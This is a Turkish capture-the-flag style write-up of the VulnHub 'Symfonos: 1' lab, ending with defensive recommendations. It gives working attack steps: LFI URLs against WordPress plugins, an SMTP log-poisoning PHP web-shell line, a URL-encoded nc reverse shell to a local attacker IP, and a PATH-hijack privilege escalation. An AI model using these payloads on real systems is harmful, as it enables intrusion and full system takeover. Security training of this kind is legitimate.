Merhabalar herkese,
Bugün sizlere VulnHub adlı web adresindeki "SYMFONOS: 1" başlıklı laboratuvarın çözümünü sizlere aktaracağım.

VulnHub adlı platformdan zafiyetli makinelerle pratik yapabilmek amacıyla "symfonos" ismindeki makinenin seçimi anlatım için yapılmıştır. "https://www.vulnhub.com/series/symfonos,217/" bağlantısından ilgili makinenin aşağıdaki görselde yer aldığı haliyle sayfasına gidilmiştir.
Söz edilen bağlantıdan altı farklı seviyesinin varlığı görüntülenmiştir. Ancak iki tanesinin anlatımını sizlere yapılacaktır.
"https://www.vulnhub.com/entry/symfonos-1,322/" bağlantısından makinenin ilk seviyesine ulaşılabilmektedir.
Yukardaki resimde "Download" kısmı altındaki ilk (https://cdn.zayotic.com/symfonos1.7z) indirme bağlantısı çalışmamaktadır.
Fakat başlık alanında parantez içerisindeki "Mirror" ve "Torrent" bağlantıları çalışır vaziyettedir. Bizler indirme işlemini yapabilmek için "Download (Torrent)" başlığı karşısındaki "https://download.vulnhub.com/symfonos/symfonos1.7z.torrent" bağlantısından indirme işlemini yapmış bulunmaktayız. İndirme işleminin hemen sonrasında "symfonos" adlı dosya sanal makine uygulamamızın içerisine aktarılır ve aşağıdaki görselde yer aldığı haliyle diğer sekmede başlatılır.
Bir diğer sekmedeyse Kali Linux Debian VM açımı yapılır. İki farklı makinenin birbiriyle olan etkileşimi göze alınarak keşif işlemlerine "arp-scan" adlı aracın "-l" veya " -localnet" parametreleri kullanılarak "symfonos.ovf" dosyasının "vm" adıyla kaydedilmesindeki makinenin IP adresi ve MAC adresi öğrenilir.
"192.168.1.107" IP adresli makine olduğu, "192.168.1.1" gateway iken "192.168.1.101" lokal IP adreslinin ise VM'yi host eden ana bilgisayarın IP adresi olduğundan anlaşılmıştır.
gateway, farklı ağ iletişim kurallarını kullanan iki bilgisayar ağı arasında veri çerçevelerinin iletimini sağlayan ağ donanımıdır.
Virtual Machine/Sanal Makine (VM), işletim sistemi ile bilgisayar platformu arasında bir sanal ortam oluşturup bu sanal ortam üzerinde yazılımların çalıştırabilmesine olanak sağlamaktadır.
"192.168.1.107" IP adresine "nmap" adlı port tarama aracının, "nmap -A -p 1–1000 192.168.1.107 -vv" komudundaki "-p" parametresiyle ilk bin portu taranıp "-A" ve "-vv" ile detaylarının çıktı alınılmasının sağlandığı komuttur.
Yukardaki resimde yer aldığı üzere bizlere kırmızı alan içerisine alınmış haliyle ilk bin -65535 port olsa da genellikle ilk 1000 porta servisler yerleştirilmektedir.- porttan açık servisler detaylarıyla bizlere sunulmuştur. Buradaysa kritik portlara ve servislere rastlanmıştır. Kritik olanlarıysa SSH (22. port) ve SMB (445. port)'dir, 80. portun bir HTTP ayağı olduğunun da unutulmaması gerekmektedir. Önceliğimiz SSH açıklığını kontrol etmekten yana olmalıdır. Bunun için SSH servisinin clienti (istemci) vasıtasıyla bağlantıları test edilmektedir.
Bağlantılara açık olduğunu aklımızda -tabi varsayılı halde bırakılabilen kolay parola bilgisi olsaydı direkt bağlantı kurabilir idik.- tutup notunu almalıyız. Nedeniyse SMB servisinde erişebilme yolu kolay iken SSH servisinde zordur ve SSH brute force (kaba kuvvet) saldırısıyla bizleri uğraştırabileceğinden bir köşede not durması bizim için yeğdir ve elbette farklı saldırı metotlarıyla SSH'ye "root" haklarıyla da bağlanabiliriz.
Şimdiyse sıra bir diğer kritik portumuz SMB'ye gelmiştir. SMB'nin kontrolünü sağlayabilmemiz için "smbmap" adlı araçtan yararlanabilirsiniz. "smbmap -H 192.168.1.107 -r" komutunu kullanarak "192.168.1.107" IP adresli hedeflediğimiz makinenin SMB bilgilerine göz atılır. Kullanılan komuttaki "-H" parametresi hostu ifader iken "-r" parametresiyse dizinleri ve paylaşmları listeleyebilmemize imkan vermektedir.
Yukardaki görselde yer alan çıktıyı almanın akabininde "helios" ve "anonymous" disklerinin okunabilirliği için denemeler yapılmaktadır. Bu işlemi yapabilmek için "smbclient" adlı araçtan kullanmamız gerekmektedir. "//" işaretinden sonra IP adresi gelirken "/" işaretinden sonraysa erişilmek istenilen diskin adı girilmektedir.
Varsayılı halde bırakılan parolalar denenir iken "anonymous" adlı diskin varsayılı "anonymous" bağlantısının sağlanabildiği gözlemlenmiştir. İçerdeyse "attention.txt" adlı bir dosya bulunmaktadır. Söz konusu dosyayı "get" komutu aracılığıyla kendi makinemize kuruyoruz ve içeriğini Linux dağıtımlardaki "cat" komutu vasıtasıyla terminal ekranına yazdırıyoruz. Yazdırmamızla "epidioko", "qwerty" ve "baseball" parolalarının kullanımından yakınan bir mesajla karşılaşmaktayız.
Bundan yola çıkarak öncesinde erişemediğimiz "helios" kullanıcısına erişmeye çalışalım. Tekrardan "smbclient" adlı aracı kullanmamız gerekecektir ve bu araçta kullanacağımız ek bir parametre olacaktır. "-U" parametresi ise kullanıcı belirtmektedir. "qwerty" parolasıyla "helios" kullanıcısına erişmemizin sonrasında "research.txt" ve "todo.txt" adlı dosyaların bulunduğu gözümüze çarpmaktadır. Bu dosyaları "get" komutuyla kendi makinemize indirip içeriğini "cat" komutu yardımıyla görüntülemekteyiz.
"http://192.168.1.107/h3l105/" adresine girmemizle bizi aşağıdaki sayfa karşılamaktadır.
Sitenin WordPress CMS kullandığı çoğu yerde belirtildiği için WordPress CMS'nin dizinleri araştırılmıştır ve dizinler arasında "siteeditor" dizini tespit edilmiştir.
Kontroller sonucunda kolaylıkla hedef sistemden bilgi edinebileceğimiz LFI (Local File Inclusion/Yerel Dosya Dahil Etme) zafiyetinin "Plugin Site Editor" eklentisinin "1.1.1" versiyon kullanımından kaynaklandığını (https://www.exploit-db.com/exploits/44340) öğrendik.
Öğrenilmesinin sonrasındaysa "http://symfonos.local/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd" bağlantısına gidilerek zafiyete bakılmıştır.
Kontroller sonucunda kolaylıkla hedef sistemden bilgi edinebileceğimiz LFI (Local File Inclusion/Yerel Dosya Dahil Etme) zafiyetinin Mail-Masta" eklentisinin "1.0" versiyon kullanımından kaynaklandığını (https://www.exploit-db.com/exploits/44340) öğrendik.
Öğrenilmesinin sonrasındaysa "http://symfonos.local.wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd" bağlantısına gidilerek zafiyete bakılmıştır.

Akabininde "wp-config.php" dosyası aranır. "/var/www/html/h3l105/wp-config.php" adresinde genellikle olduğundan burayı hedef alıyoruz. Tarayıcının çalıştıramaması için dizeyi Base64 encode edilmiş haline dönüştürmek üzere "php://filter/convert.base64-encode/resource=/path/to/.php" kullanılması gerekmekte olunup "http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=php://filter/convert.base64-encode/resource=/var/www/html/h3l105/wp-config.php" URL adresi ziyaret edilmiştir. Ziyaret sonrasında Base64 kodu decode edilip "wp-config.php" olarak kaydedilmiştir.
Son e-postayı incelenilerek kullanıcı adı "admin" ve şifresi ise "kurulum sırasında seçtiğiniz şifre" olarak seçilidir. Şifre ise hala bilinmemektedir maalesef.

Tek yol SMTP log zehirlemesiydi (bu portun açık olmasının tek nedeni bu olabilir). Netcat kullanarak bağlanın ve DATA bölümüne tek satırlık bir PHP kodu eklemelisiniz.
> MAIL FROM:nullyblissful@example.com
> RCPT TO:helios@symfonos.localdomain
> DATA
> <?php echo system($_GET["nullyblissful"]);?>
> . PHP tek satırlık kod günlük dosyasında görünmüyor, bu da kodun zehirlendiği anlamına geliyor. Aşağıda yer alan komut kullanılması ile ID yazmaktadır.
curl "http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&nullyblissful=id"
"https://www.revshells.com/" adresi kullanılarak ters kabuk (reversel shell) oluşturulur. "nc-mkfifo" yükü kullanıldı ve URL encode edilmiştir.

rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Cbash%20-i%202%3E%261%7Cnc%20192.168.1.105%2080%20%3E%2Ftmp%2Ff"penelope.py" kullanarak shell alınmıştır. Shell erişimi "helios" kullanıcısına aittir.


Dosyalara yönelik keşif esnasında numaralandırması "/opt/statuscheck" dosyasında SUID bitinin ayarlanmış olduğunu fark edilmiştir. "strings" komutunu kullanarak statuscheck ikili dosyasından yazdırılabilir karakter dizileri çıkarılmıştır.

"curl -I H" komutunun belirtilen bir URL adresine "HEAD" isteği gönderdiğini gösteriyor. Burada komutun tam yolu belirtilmemiş. İkili dosya ele geçirme olasılığı var, burada ortam değişkeni "$PATH" değişkenine göre curl aracının tam yolunu görmek için "which" komutu çalıştırılmıştır.

"curl" dosyasının oluşturılması gerekmektedir. İçerisine ayrıcalıklı bash shell eklemek ve ardından PATH ortam değişkenini değiştirmek, böylece "/usr/bin/curl" yerine yeni oluşturduğumuz curl dosyası alacaktır. Aşağıdaki resimde curl adlı aracın yolunun değiştiği yer almaktadır.
echo "/bin/bash -p" > /tmp/curl
chmod 777 /tmp/curl
echo $PATH
export PATH=/tmp:$PATH
"statuscheck" komutunun çalıştırılması ile sistemde root (yetkili) kullanıcı olunduğu tespit edilmiştir.



Tebrikler!
Bu ve Benzeri Saldırılardan Hangi Yollarla Korunabiliriz?
- Anonim Erişimin Engellenmesi: SMB (Samba) servislerinde kimlik doğrulaması olmaksızın (Guest/Anonymous) paylaşımlara erişimin tamamen kapatılmasını ve hassas bilgilerin (şifre listeleri, kullanıcı adları vb.) bu alanlarda barındırılmamasını öneririz.
- Gereksiz Servislerin Sınırlandırılması: SMTP (Port 25) veya MySQL (Port 3306) gibi dış dünyaya açık olması gerekmeyen servislerin sadece yerel ağa (127.0.0.1) bağlanmasını veya erişimin bir güvenlik duvarı (Firewall) ile kısıtlanmasını tavsiye ederiz.
- Yama ve Eklenti Yönetiminin Rutine Bağlanması: WordPress ve benzeri içerik yönetim sistemlerinde kullanılan tüm eklenti ve temaların düzenli olarak güncellenmesini, desteği biten veya kullanılmayan yapıların sistemden tamamen kaldırılmasını öneririz.
- Giriş Doğrulama ve WAF Kullanımı: Web uygulamalarında kullanıcıdan alınan dosya yollarının kesinlikle kontrol edilmesini (Whitelisting yöntemiyle) ve php://filter gibi zararlı istekleri filtrelemek adına bir Web Uygulaması Güvenlik Duvarı (WAF) konumlandırılmasını tavsiye ederiz.
- En Düşük Yetki İlkesinin Uygulanması: Web sunucusunu çalıştıran kullanıcının (www-data veya apache), sistemdeki diğer servislerin log dosyalarını (örneğin /var/mail/ altındaki e-posta kayıtlarını) okumasının dosya izinleriyle (chmod/chown) engellenmesini öneririz.
- PHP Güvenlik Ayarlarının Yapılandırılması: php.ini dosyası içerisinden open_basedir yönergesinin aktif edilmesini, böylece PHP web betiklerinin kendilerine ayrılan ana dizin (/var/www/html) dışındaki sistem dosyalarına erişiminin kesin olarak kısıtlanmasını tavsiye ederiz.
- Komutların Tam Yolunun (Absolute Path) Kullanılması: Sistemde çalıştırılacak araçları veya betikleri yazarken komutların sadece ismiyle (curl) çağrılması yerine, her zaman tam yollarıyla (/usr/bin/curl) tanımlanarak çevre değişkenlerinin manipüle edilmesinin önüne geçilmesini öneririz.
- SUID İzinlerinin Düzenli Denetlenmesi: Sistemde root yetkisiyle çalışan (SUID biti set edilmiş) dosyaların düzenli olarak taranmasını ve işlevi biten ya da güvensiz geliştirilmiş ikili (binary) dosyaların bu yetkilerinin iptal edilmesini tavsiye ederiz.
Değerli vaktinizi ayırıp yazımı okuduğunuz için teşekkürlerimi takdim ederim ve iyi günler geçirmeniz dileklerimle.